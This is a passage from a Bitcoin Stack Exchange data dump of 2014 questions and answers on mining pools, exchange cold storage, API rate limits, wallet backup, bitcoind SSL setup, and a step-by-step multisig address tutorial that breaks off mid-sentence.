  <row Id="28330" PostTypeId="1" CreationDate="2014-07-07T13:41:51.423" Score="0" ViewCount="1191" Body="&lt;p&gt;Does the Stratum protocol works well with the stratum servers behind a load balancer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My impression is that each request from the client may hit a different stratum server and eventaully ends up subscribing to both stratum servers. Does this mean both stratum server will be sending jobs to the client at the same time, confusing the client?&lt;/p&gt;&#xA;" OwnerUserId="18503" LastEditorUserId="5406" LastEditDate="2016-03-31T17:04:06.217" LastActivityDate="2016-03-31T17:04:06.217" Title="Stratum and Load Balancer" Tags="|mining-pools|stratum|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28331" PostTypeId="2" ParentId="28325" CreationDate="2014-07-07T14:17:57.880" Score="4" Body="&lt;p&gt;At Justcoin.com, we've used a few different methods over the years:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generate addresses using &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;bitcoind&lt;/a&gt;, now called bitcoin core, when we need them. To avoid key loss in the case of storage failure, we use a large &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;key pool&lt;/a&gt;. The command is simply &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;getnewaddress&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Hierarchical deterministic wallets&lt;/a&gt; are much better and we use these for an increasing number of things. When using these for hot wallets, we import new private keys into our hot wallet before its ever used. That way we can still spend its inputs from bitcoind.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2017" LastActivityDate="2014-07-07T14:17:57.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28333" PostTypeId="1" CreationDate="2014-07-07T21:13:14.380" Score="0" ViewCount="236" Body="&lt;p&gt;Does anybody know how cold is the Coinbase cold storage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really into Coinbase but when I read about their &lt;a href=&quot;https://coinbase.com/security&quot; rel=&quot;nofollow&quot;&gt;cold storage&lt;/a&gt; I become a little bit skeptical: for example, how do they process withdrawals in a cold storage system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what does this mean?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Up to 97% of customer funds are stored offline.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do they store X BTC in Y wallets, and then store private keys in a cold storage (shouldn't this approach make several transaction fees pop out when withdrawing)?&lt;/p&gt;&#xA;" OwnerUserId="18508" LastEditorUserId="18508" LastEditDate="2014-07-07T21:19:20.773" LastActivityDate="2014-08-06T22:02:19.970" Title="Coinbase Security" Tags="|payment|coinbase.com|coldstorage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28334" PostTypeId="2" ParentId="28333" CreationDate="2014-07-07T21:24:30.157" Score="2" Body="&lt;p&gt;Well for one it doesn't really matter because your bitcoins are intermingled with everyone eleses in cold storage. In other words, your account does not &quot;own&quot; private keys. Rather everyone's bitcoins are swept into Coinbases' addresses. They keep track of who owns what using internal accounting methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you send money from your Coinbase account, Coinbase first has to send money to some wallet address 'owned' by you. So they send bitcoins from their hot wallet to your coinbase wallet, then a second transaction is issued from your wallet (spending the outputs just received) to the final destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to how they manage and replenish their hot wallets, I'm not sure, but perhaps they don't have to do this too often if more bitcoins are entering Coinbase than leaving.&lt;/p&gt;&#xA;" OwnerUserId="16926" LastActivityDate="2014-07-07T21:24:30.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28335" PostTypeId="1" AcceptedAnswerId="28348" CreationDate="2014-07-07T21:40:20.910" Score="1" ViewCount="2066" Body="&lt;p&gt;Cryptsy, Mintpal and Bittrex have public APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many requests per second or minute can I do to these APIs?&lt;/p&gt;&#xA;" OwnerUserId="6395" LastEditorUserId="15412" LastEditDate="2014-07-14T14:32:39.620" LastActivityDate="2018-01-04T21:13:34.433" Title="Cryptsy, Mintpal, Bittrex API - how many requests can I do?" Tags="|api|cryptsy|bittrex|mintpal|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28337" PostTypeId="2" ParentId="22749" CreationDate="2014-07-07T22:10:16.193" Score="0" Body="&lt;p&gt;Muis, a friend and I are working on that exact project. We want to track which transactions get mined and how long it takes different types of to get mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its kind of a large ugly monster right now but we are actively working on it. The database of transactions is stored in a postgresdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it out: &lt;a href=&quot;https://github.com/NSkelsey/TxWaitTime&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NSkelsey/TxWaitTime&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18511" LastActivityDate="2014-07-07T22:10:16.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28338" PostTypeId="1" AcceptedAnswerId="28365" CreationDate="2014-07-07T22:30:11.983" Score="1" ViewCount="611" Body="&lt;p&gt;I am wondering whether a &lt;a href=&quot;https://ripple.com/wiki/Transactions#Basic_Transaction_Format&quot; rel=&quot;nofollow&quot;&gt;Ripple Transaction&lt;/a&gt; with a Sequence number that ships over a few numbers from the previous Sequence number be accepted as a valid transaction in the Ripple Network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have one Payment Tx with Sequence 123, and then want to create another transaction with a Sequence 200, will it go through?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I understand that the transaction Sequence numbers cannot be descending, so I couldn't submit a Tx with a Sequence of 100. Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-07-08T18:12:50.380" Title="Can a Ripple Transaction Sequence have gaps?" Tags="|transactions|protocol|ripple|sequence|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28339" PostTypeId="1" AcceptedAnswerId="28353" CreationDate="2014-07-07T22:59:20.683" Score="1" ViewCount="951" Body="&lt;p&gt;I have -1 confirmations for an inbound transaction on my Electrum wallet. What does is it mean to have -1 confirmations?&lt;/p&gt;&#xA;" OwnerUserId="3023" LastActivityDate="2016-01-20T04:45:01.323" Title="What does it mean to have -1 confirmations?" Tags="|transactions|wallet|client|confirmations|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28340" PostTypeId="1" AcceptedAnswerId="28341" CreationDate="2014-07-07T23:15:54.753" Score="0" ViewCount="605" Body="&lt;p&gt;I recently installed the official LiteCoin wallet on Ubuntu. I accidentally deleted it about 80% of the way through the synch, and reinstalled it, expecting it to resynch. It resumed. My address didn't change either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems that the wallet data is stored somewhere in the system. Is this safe? I reasonably expect my system to eventually implode, so I will need to backup/export my data somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the data stored, and how do I back it up?&lt;/p&gt;&#xA;" OwnerUserId="1534" LastActivityDate="2014-07-08T02:28:03.133" Title="Where does the litecoin wallet store coins?" Tags="|litecoin-qt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28341" PostTypeId="2" ParentId="28340" CreationDate="2014-07-07T23:44:06.583" Score="2" Body="&lt;p&gt;On Linux, the default data directory is &lt;a href=&quot;https://litecoin.info/Data_directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;~/.litecoin/&lt;/code&gt;&lt;/a&gt;. This is where the wallet, blockchain, configuration, etc. files are stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can backup your wallet from File &gt; Backup Wallet. This is the part that contains your private keys. See the pic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YA38w.png&quot; alt=&quot;screenshot of Backup Wallet option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should encrypt with a secure passphrase (in Settings &gt; Encrypt Wallet) before exporting your wallet. If you don't, the private keys in your backup will be unencrypted. As long as your wallet has been encrypted, your backup will be encrypted and you can safely* put it on Dropbox, Google Drive, email it to family/friends, etc. for safe-keeping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*As safe as your passphrase is, so make it very high quality.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-07-08T02:28:03.133" LastActivityDate="2014-07-08T02:28:03.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28343" PostTypeId="1" AcceptedAnswerId="29510" CreationDate="2014-07-08T01:27:04.073" Score="0" ViewCount="550" Body="&lt;p&gt;I want to enable SSL on windows.So I download a shining light openssl binary,and then I create server.pem and server.cert using the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl genrsa -out server.pem 2048&#xA; openssl req -new -x509 -nodes -sha1 -days 3650 -key server.pem &amp;gt; server.cert&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then I start bitcoin-qt with bat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt.exe -testnet -datadir=G:\BitcoinData-Testnet -conf=bitcoin.conf -server -rpcuser=usr -rpcpassword=pwd -rpcport=18332 -rpcallowip=* -rpcssl -rpcsslcertificatechainfile=server.cert -rpcsslprivatekeyfile=server.pem -txindex -lang=en_US&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I try to test SSL by executing commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl s_client -connect localhost:18332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the response is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\apps\Bitcoin&amp;gt;openssl s_client -connect localhost:18332&#xA;Loading 'screen' into random state - done&#xA;CONNECTED(000001C4)&#xA;9032:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:.\ssl\s23_lib&#xA;.c:177:&#xA;---&#xA;no peer certificate available&#xA;---&#xA;No client certificate CA names sent&#xA;---&#xA;SSL handshake has read 0 bytes and written 319 bytes&#xA;---&#xA;New, (NONE), Cipher is (NONE)&#xA;Secure Renegotiation IS NOT supported&#xA;Compression: NONE&#xA;Expansion: NONE&#xA;---&#xA;&#xA;E:\apps\Bitcoin&amp;gt;openssl genrsa -out server.pem 2048&#xA;Loading 'screen' into random state - done&#xA;Generating RSA private key, 2048 bit long modulus&#xA;....................+++&#xA;...........................................+++&#xA;unable to write 'random state'&#xA;e is 65537 (0x10001)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can somebody help me ? is server.pem produced correctly?&lt;/p&gt;&#xA;" OwnerUserId="18177" LastActivityDate="2014-07-16T13:24:57.163" Title="enable bitcoin SSL error" Tags="|bitcoind|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28345" PostTypeId="2" ParentId="28103" CreationDate="2014-07-08T03:05:30.913" Score="0" Body="&lt;p&gt;The safest way I think to go from a paper wallet -&gt; digitalized one is to simply use a qr reading app on your phone to read the two codes. What happens when you read the QR codes is the public or private key (the one you are reading) will go to your clipboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use the private and public key to import your wallet. You have a couple options, the first one is to use a wallet provider such as blockchain.info However, if you do not trust such a provider you can use Multibit and run it on your computer. Multibit does require internet connection in order to synchronise so simply keeping your private and public key in an encrypted text file could suffice. I am not familiar with the best encryption for such a task but a safe way to get your keys into a digital format is to use your phone or a camera with a qr reader app.&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-07-08T03:05:30.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28346" PostTypeId="2" ParentId="4180" CreationDate="2014-07-08T03:08:14.027" Score="-2" Body="&lt;p&gt;You should try using localbitcoins. they have an option to sell bitcoin for paypal and vise versa and the sellers are legit. There are limits and there is a commision % but the sellers have high reputation and are reliable. For a detailed tutorial how you can visit this blog: &lt;a href=&quot;http://www.btcfeed.net/tutorials/convert-paypal-to-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://www.btcfeed.net/tutorials/convert-paypal-to-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-07-08T03:08:14.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28348" PostTypeId="2" ParentId="28335" CreationDate="2014-07-08T03:47:41.817" Score="2" Body="&lt;p&gt;Mintpal has a limit of &lt;a href=&quot;https://www.mintpal.com/api/v1&quot; rel=&quot;nofollow noreferrer&quot;&gt;10 requests/second&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MintPal API v1 offers a simple REST API to retrieve information about our markets. The API responses are JSON encoded arrays. &lt;strong&gt;Please be aware that calls to the API are rate limited to 10 requests per second&lt;/strong&gt;, any requests exceeding this rate will be met with a HTTP 503 response.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I know Kraken has different rules. You can 'burst', instead of a flat limit. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=290799.msg3444767#msg3444767&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The basic API rate limit is &lt;strong&gt;1 call every 5 seconds&lt;/strong&gt;. You can do faster bursts up to 10 calls, but then you'd need to follow that by a 50 second pause before you could resume the 1 call very 5 second rate. If you get locked out, it's for 15 minutes.&lt;/p&gt;&#xA;&lt;p&gt;For really active traders (including those who want to market make with us), we can offer much higher limits. Anyone interested in this should contact us with a support ticket.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I know Kraken isn't on your wishlist of things to know, but I cannot find information about Cryptsy or Bittrex. But it gives you a insight at real limits, so you can maybe assume those two have similar limits.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-07-08T03:47:41.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28349" PostTypeId="1" CreationDate="2014-07-08T05:03:54.533" Score="15" ViewCount="660" Body="&lt;p&gt;My understanding of bitcoin is that the miners are the ones keeping bitcoin decentralized. What happens when only the richest of people can afford mining?&lt;/p&gt;&#xA;" OwnerUserId="18516" LastEditorUserId="5406" LastEditDate="2016-02-15T18:04:39.127" LastActivityDate="2016-02-15T18:04:39.127" Title="How will bitcoin stay decentralized when mining becomes extremely expensive?" Tags="|mining-profitability|hashpower|mining-theory|decentralization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28350" PostTypeId="1" AcceptedAnswerId="28362" CreationDate="2014-07-08T05:56:12.173" Score="2" ViewCount="4119" Body="&lt;p&gt;what is the block time to get my transaction confirmation? Do i still have to wait 10+ minutes to make sure a double spend didnt happen?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-08T18:05:36.513" Title="What is the block / confirmation time for NXT coin?" Tags="|block|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28351" PostTypeId="1" AcceptedAnswerId="28364" CreationDate="2014-07-08T06:00:17.523" Score="1" ViewCount="356" Body="&lt;p&gt;Since NXT does transparent forging and it select a node to be the main one to solve blocks. How does it prevent a DDOS attack? And if a ddos was sucessful on the node during forging, what happens then? does it solve blocks half way only? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-08T18:12:23.143" Title="NXT uses transparent forging to detect who will solve the blocks. How can DDOS be prevented?" Tags="|nxt|forging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28352" PostTypeId="2" ParentId="6100" CreationDate="2014-07-08T07:12:25.180" Score="50" Body="&lt;p&gt;I know this question is old, but I stumbled upon it looking how to teach myself how multisig addresses work, and I imagine others will to. So I’m going to try to explain the typical flow for creating, adding bitcoins to, and eventually spending a multisig address. This explanation is aimed at beginners, so please excuse my lack of brevity. First off, some terminology we should get out of the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Address: A bitcoin address is a string of (usually) 33 or 34 digits which we give to people when we want them to send us bitcoins. Here is an example of public address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;19evXeJDDLNeRS4st4bGUJNGk8eBgVCCg4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Public Key: A public key is used to derive a bitcoin address, although knowing a bitcoin address WILL NOT allow you to find that address’s corresponding public key. For more information on the public key / bitcoin address relationship go to &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt;. Here’s what the public key for the bitcoin address pasted above looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;035739f07de25c205525d81b126ed87bc30377e688705072d186e4f5c88908ce3a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I only know that public key because it’s stored along with my private key in my wallet, I’m posting this usually confidential information here because it is easier to understand bitcoin when you have examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisig transaction/address: A multisig transaction is just a transaction that has as one of its inputs a multisig address. Multisig addresses are used to make it so multiple keys owned by separate entities are needed to move the bitcoins in an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK great! Now, here are the steps and background for making a multisig address. I’m going to explain things in plain English first, and then follow up with the bash/Terminal commands you will use to create/add money to/spend the multisig address. I’m using the standard bash delimiter “$&gt;” to indicate that whatever comes after the “$&gt;” is what you should enter into your terminal. Lines that come after the line containing “$&gt;” are the output of that command. If you ever have any questions about a command your entering, you can type the following into the Terminal to show what arguments should be passed to the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind help &amp;lt;nameofcommandhere&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This explanation assumes you have an update to date and functioning bitcoind server running that can accept RPC commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i. Create the public keys that will comprise the multisig address. You are going to use these public keys and one other piece of information to create your multisig address.  The most common distribution of the addresses in a 3-address multisig address (it’s possible to have a multisig address comprised of more than three addresses, but they’re not supported by all miners so for this explanation we’ll deal with the most common 3-address multisig address) are as follows. PubKey#1 is typically owned by you and stored on a device you have easy access to (like your mobile phone). PubKey#2 is typically also owned by you but stored somewhere secure (like cold storage or in a paper wallet). PubKey#3 is often the public key of some third party, like your brother or a company offering bitcoin-related services like Coinbase. Let’s call each of these owners of a public key an entity. Recall that Bitcoin uses private/public key cryptography, so whomever creates a public key also keeps the corresponding private key to themselves. This private key will be important later in the explanation. So let’s create 3 new public addresses which we’ll end up using to create a multisig address! Note that as I explained above, if you were using a multisig address in a real world situation you’d probably get one of the three public keys from some third party, but for this explanation here we’re just going to create all three ourselves. Here are the relevant RPC commands for creating public keys:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter this command to see all your accounts. Assuming you’re starting fresh, you’ll only have the account with the name empty string and no bitcoins in it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind listaccounts&#xA;{&#xA;    &quot;&quot; : 0.00000000&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enter the following command three times to create three new addresses in this account&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind getnewaddress “&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enter this command to view your newly created addresses&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind getaddressesbyaccount “”&#xA;[&#xA;    &quot;1CtfcziAhqx83CtSPdufgZDGmL8ohTFTdd&quot;,&#xA;    &quot;1JeK7TZR85BL8WvtHgCiTSYtPJupdYYXgR&quot;,&#xA;    &quot;1MP3BzdhzoBmGoBiVfLmhv7B4Czxm3MbrU&quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You’re not done though. So far you’ve only seen the public addresses. You need to get the public keys of these addresses. Luckily you can do that simply by typing the following command three times, each time substituting  for one of the addresses you created&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind validateaddress &amp;lt;btcaddress&amp;gt;&#xA;{&#xA;    &quot;isvalid&quot; : true,&#xA;    &quot;address&quot; : &quot;19evXeJDDLNeRS4st4bGUJNGk8eBgVCCg4&quot;,&#xA;    &quot;ismine&quot; : true,&#xA;    &quot;isscript&quot; : false,&#xA;    &quot;pubkey&quot; : &quot;035739f07de25c205525d81b126ed87bc30377e688705072d186e4f5c88908ce3a&quot;,&#xA;    &quot;iscompressed&quot; : true,&#xA;    &quot;account&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value to the right of “pubkey” is that address’s public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ii. You then use these three keys to create the multisig address. In the previous paragraph I mentioned how you needed the public keys plus one other piece of information to create the multisig wallet. That piece of information is the number of signatures needed to spend the bitcoins in a multisig address. One of the useful things about a multisig address is that, in order to send the money in the address, it takes multiple private keys (I told you we’d come back to these!) signing the transaction to make it valid. So for this example we’re going to use the number 2; two out of the three entities will need to sign the transaction in order for bitcoins to move anywhere. When we create the multisig address, bitcoind will return the multisig 34 digit address, as well as a bunch of hex data called the “redeemScript”. Note that the first digit in the address is a “3”. Most addresses your used to probably begin with a “1”, but all multisig begin with “3”. Copy, paste, and save the address and redeemScript values somewhere as we’ll need them in a bit. So, we create the multisig address by entering the following command. Be sure to type the apostrophes and quotes exactly as I have, and substitute  for the public keys you got from validateaddress.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind createmultisig 2 ‘[“&amp;lt;pubkey&amp;gt;&quot;, &quot;&amp;lt;pubkey&amp;gt;&quot;, &quot;&amp;lt;pubkey&amp;gt;”]'&#xA;&#xA;&#xA;{&#xA;    &quot;address&quot; : &quot;3DS7Y6bdePdnFCoXqddkevovh4s5M8NhgM&quot;,&#xA;    &quot;redeemScript&quot; :     &quot;5221027ca87e1aa2595ec7771afee8fdc6efdbc301b8370c4386731b4bd82247dc74a321022cc9874ba092095dd    a47a4e4edb1781c43c35b3ec0429ac005df37b9d6eec94b21035739f07de25c205525d81b126ed87bc30377e6887    05072d186e4f5c88908ce3a53ae&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy the output that you get somewhere, we will need it soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iii. Send some bitcoins from one of your wallets to the multisig address. I was surprised to learn Coinbase doesn’t think that multisig addresses are valid, so if you’re using Coinbase you can’t send directly from your Coinbase wallet to the multisig address. As a workaround, you can use Coinbase to send a small amount of bitcoins (I sent 1 dollar’s worth) to one of the three addresses you originally created, wait for that transaction to get confirmed, and then use the following command to send bitcoins from that regular address to the multisig address. Replace  with the multisig address and  with some amount of bitcoins worth less than the amount you sent to the regular address. Remember that you’ll have to pay transaction fees! If the command works it will return the transaction’s transaction hash. You can look at this transaction by entering the transaction hash into the search field at blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind sendtoaddress &amp;lt;bitcoindaddress&amp;gt; &amp;lt;amount&amp;gt;&#xA;0ac29fc675909eb565a0984fe13a47dae16ca53fb477b9e03446c898b925ab6b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;iv. Finally, we’re going to spend the bitcoins we just received in the multisig address. We will use the private keys of the first two addresses we created in step 1. In order to obtain the private keys, we enter the following command twice into the Terminal, each time replacing  with one of the bitcoin addresses you created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind dumpprivkey &amp;lt;btcaddress&amp;gt;&#xA;KyiRjmZYPH7cfyKf1WNb3BZFz1ySurWEYKxLngkH6VmTcSCirBPG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(As a side note, the worst possible thing you can do in the bitcoin community is to paste the private key of one of your addresses onto a public forum. NEVER DO THIS! I am only doing this because I want to make sure readers can follow along with my explanation, and there's only a couple dollars in these addresses)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v. Now that you have two public/private key pairs, we can finally spend the bitcoins we sent to the multisig address. To do so, we first need to gather some information about that transaction where we sent bitcoins to the multisig address, because we need to choose the correct output from that transaction to use as the input in the raw transaction we’re about to create. Type the following into the terminal, replacing  with the transaction hash that was returned earlier.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind getrawtransaction &amp;lt;txid&amp;gt; 1&#xA;{&#xA;    &quot;hex&quot; : &quot;010000000175783b2ca3381efb15ee7f5f44632a2c699171a924185386460b91d0f211d3bb000000006a47304402207707875d5c29ed0d97cd72087c67c17c57e2ef34d0b6208a054fffece8704477022045aec0ea57830f53fa0e52094400dd4fb654d7712f2ac3341a762d0f46c02d370121027ca87e1aa2595ec7771afee8fdc6efdbc301b8370c4386731b4bd82247dc74a3ffffffff0210270000000000001976a91431e71089318d7b1ea51a1add0dd6525423f713c488ac702402000000000017a91480cff499983050ec4268d749a1f898bec53e9fc28700000000&quot;,&#xA;    &quot;txid&quot; : &quot;0ac29fc675909eb565a0984fe13a47dae16ca53fb477b9e03446c898b925ab6b&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;bbd311f2d0910b4686531824a97191692c2a63445f7fee15fb1e38a32c3b7875&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304402207707875d5c29ed0d97cd72087c67c17c57e2ef34d0b6208a054fffece8704477022045aec0ea57830f53fa0e52094400dd4fb654d7712f2ac3341a762d0f46c02d3701 027ca87e1aa2595ec7771afee8fdc6efdbc301b8370c4386731b4bd82247dc74a3&quot;,&#xA;                &quot;hex&quot; : &quot;47304402207707875d5c29ed0d97cd72087c67c17c57e2ef34d0b6208a054fffece8704477022045aec0ea57830f53fa0e52094400dd4fb654d7712f2ac3341a762d0f46c02d370121027ca87e1aa2595ec7771afee8fdc6efdbc301b8370c4386731b4bd82247dc74a3&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00010000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 31e71089318d7b1ea51a1add0dd6525423f713c4 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91431e71089318d7b1ea51a1add0dd6525423f713c488ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;15Yrv3rAVxYTTGePM3ZZwumSnMfS9St9uD&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00140400,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 80cff499983050ec4268d749a1f898bec53e9fc2 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a91480cff499983050ec4268d749a1f898bec53e9fc287&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;3DS7Y6bdePdnFCoXqddkevovh4s5M8NhgM&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ],&#xA;    &quot;blockhash&quot; : &quot;00000000000000002ab5cb0ee400200b8575fe393fef57d41b41a5d533a414a3&quot;,&#xA;    &quot;confirmations&quot; : 5,&#xA;    &quot;time&quot; : 1404775273,&#xA;    &quot;blocktime&quot; : 1404775273&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look for the key “vout”, which should have a JSON array as its value. We need two values here; the index of the output in vout which has the largest value, and the value of the “hex” key within that same output. When I originally sent this transaction I had sent 0.00160400 bitcoins. 0.0001 of that went to paying miner fees, and the remaining 0.0010000 went to a change address that my client software created for me. We’ll want to use the output with the 